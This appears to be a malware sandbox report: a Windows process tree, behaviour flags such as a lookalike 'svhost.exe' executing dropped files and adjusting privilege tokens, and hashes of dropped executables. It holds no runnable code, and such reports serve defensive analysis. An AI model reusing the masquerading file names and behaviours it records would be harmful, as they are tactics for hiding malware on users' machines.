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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:3012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3056
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3204
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3664
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3708
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4444
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4616
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4836
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5232
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:5880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5944
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5444
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:2696
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4744
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2664
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C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1840
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:756
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:4520
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C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
PID:4072
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4832
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f7680072ca5221cf2d0f5ef9769a208e6ade25923ae1978cfe80fbdc4748dc3a
- MD5 eb72d559eabf90cedffc8b7cf6f6f8c4
- SHA1 d6e019d739b4449f763fe58f6328967e2ca1dd0e
- SHA512 077a72e9235386248102f36ab70fd5691aed539416f813bed543681cd2d1caf0d40edd1647933f49412f83cf7d422518cbf1602043709365b25c4cc7267e92a5
- TLSH T16B216837B3DD8614C89A413A10CDAD1036B6CBDB40DECF5B6B84E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\3ac83d66-46c5-49b0-ae6d-1aec88ca7a73.exe
- Size 739KB
- SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
- MD5 660385dfc222656835d2ad86f5372c35
- SHA1 5933649087787a3aeb516e5c9994aac02c12db61
- SHA512 84d34ab15d21ae6d8bfde93467df9f49b3319b9571abd92f744eb1040ddf64660edc05f8889ff9a8e048874d2fa4b2a04c2dcbd00eb6bdea6f24277229861065
- SSDEEP 6144:bXsQzijj1U1NMvQv/WkqSJHSX2TTaHHHW4Y1mcfMM89CBAP3FNQ9Qu:bXsQzijI2GtaHHHEf9DkkQu
- TLSH T1E8F46B403FA4D45BEA6A06B4A47456305B64AD171C1ED69BF8C43AEDDF33381EC2226F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wyvz5rfz.2vp.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\zyddufjm.g5x.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH